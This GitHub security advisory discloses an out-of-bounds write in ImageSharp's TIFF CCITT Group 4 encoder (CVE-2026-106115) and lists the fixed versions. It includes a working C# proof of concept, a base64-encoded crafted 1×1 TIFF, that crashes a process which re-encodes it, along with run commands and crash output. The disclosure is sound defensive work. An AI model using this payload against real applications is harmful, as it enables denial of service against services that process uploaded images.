GitHub Advisoryadvisory · NuGet
GHSA-jjfr-hcj7-qf5w ImageSharp: TIFF CCITT T6 encoder writes beyond an undersized output buffer
HIGH
Official page ↗
- Aliases
- CVE-2026-106115
- Ecosystem
- NuGet
- Packages
- SixLabors.ImageSharp
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-787
- Reviewed
- 2026-10-07
Affected packages
• NuGet SixLabors.ImageSharp: >= 2.1.0, < 3.2.0 → fixed in 3.2.0
• NuGet SixLabors.ImageSharp: >= 4.0.0, < 4.1.2 → fixed in 4.1.2
Description
Summary
The TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default `TiffEncoder` terminates the process with an unhandled exception.
Affected package and versions
• Package: `SixLabors.ImageSharp` (NuGet)
• Affected range: `>= 2.1.0, <= 4.1.1`
• Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release v4.1.1.
The T6 compressor was introduced by commit `3c9eb470a07a15012c2a29ad84090dcc804a7975`, first released in v2.1.0, with the same `Width * rowsPerStrip` allocation and unchecked code writes. The 1×1 exploit terminates published v2.1.0 and v4.1.1; its uncompressed control succeeds. Source history shows no capacity fix through v4.1.1.
Details
`TiffCcittCompressor.Initialize` allocates `Width * rowsPerStrip` bytes. A 1×1 strip therefore receives one byte.
After encoding the row, `T6BitCompressor.CompressStrip` appends two 12-bit EOFB codes. `WriteCode` writes those bits without checking the destination capacity. The final checked slice detects the oversized byte count and throws `ArgumentOutOfRangeException`, after the unchecked writes have exceeded the one-byte span.
The default TIFF encoder can inherit `CcittGroup4Fax` and 1-bit settings from decoded frame metadata. The reproduction uses that decode-and-re-encode path.
Tested environment
• Published NuGet package: `SixLabors.ImageSharp` 4.1.1
• Target framework: `net8.0`
• .NET SDK: 8.0.424
• .NET runtime: 8.0.30
• Operating system: Debian GNU/Linux 12, ARM64, Docker
No active exploitation is known.
Reproduction
Create a `net8.0` project referencing the published 4.1.1 assembly and use this `Program.cs`:
```csharp
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats.Tiff;
using SixLabors.ImageSharp.Formats.Tiff.Constants;
string mode = args.FirstOrDefault() ?? "exploit";
byte[] input = Convert.FromBase64String(
"SUkqAAgAAAAJAAABAwABAAAAAQAAAAEBAwABAAAAAQAAAAIBAwABAAAAAQAAAAMBAwABAAAABAAAAAYBAwABAAAAAAAAABEBBAABAAAAegAAABUBAwABAAAAAQAAABYBBAABAAAAAQAAABcBBAABAAAABAAAAAAAAACACACA");
using Image image = Image.Load(input);
var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();
Console.WriteLine($"ImageSharp={typeof(Image).Assembly.GetName().Version}");
Console.WriteLine($"mode={mode} decoded={image.Width}x{image.Height} compression={metadata.Compression} bits={metadata.BitsPerPixel}");
using var output = new MemoryStream();
if (mode == "control")
{
image.Save(output, new TiffEncoder { Compression = TiffCompression.None });
}
else
{
image.Save(output, new TiffEncoder());
}
Console.WriteLine($"encoded=True bytes={output.Length}");
```
Run:
```text
dotnet run -- exploit
dotnet run -- control
```
The exploit produced exit code 134:
```text
ImageSharp=4.0.0.0
mode=exploit decoded=1x1 compression=CcittGroup4Fax bits=Bit1
Unhandled exception. System.ArgumentOutOfRangeException: Specified argument was out of the range of valid values.
at SixLabors.ImageSharp.Formats.Tiff.Compression.Compressors.TiffCcittCompressor.CompressStrip(Span`1 rows, Int32 height)
```
The control completed with exit code 0:
```text
ImageSharp=4.0.0.0
mode=control decoded=1x1 compression=CcittGroup4Fax bits=Bit1
encoded=True bytes=212
```
Impact
One attacker-supplied Group 4 TIFF can select this unsafe encoder path when an application decodes it and re-encodes it with inherited TIFF metadata. The demonstrated result is an unhandled exception and process termination in the reproduction. The report is limited to the T6 encoder path.
Related
Alias · CVE (1)
- CVE-2026-106115 ImageSharp is a 2D graphics library. vulnerability
Weakness · CWE (1)
- CWE-787 Out-of-bounds Write weakness
References
- https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-jjfr-hcj7-qf5w web
- https://nvd.nist.gov/vuln/detail/CVE-2026-106115 advisory
- https://github.com/SixLabors/ImageSharp/pull/3187 web
- https://github.com/SixLabors/ImageSharp/pull/3208 web
- https://github.com/SixLabors/ImageSharp/commit/a9498c6db3642ef92c712ebc81e706914ac16a95 web
- https://github.com/SixLabors/ImageSharp/commit/baa37cd19077b2a2a0c5667535111cf31d48c019 web
- https://github.com/SixLabors/ImageSharp package
- https://github.com/SixLabors/ImageSharp/releases/tag/v3.2.0 web
- https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2 web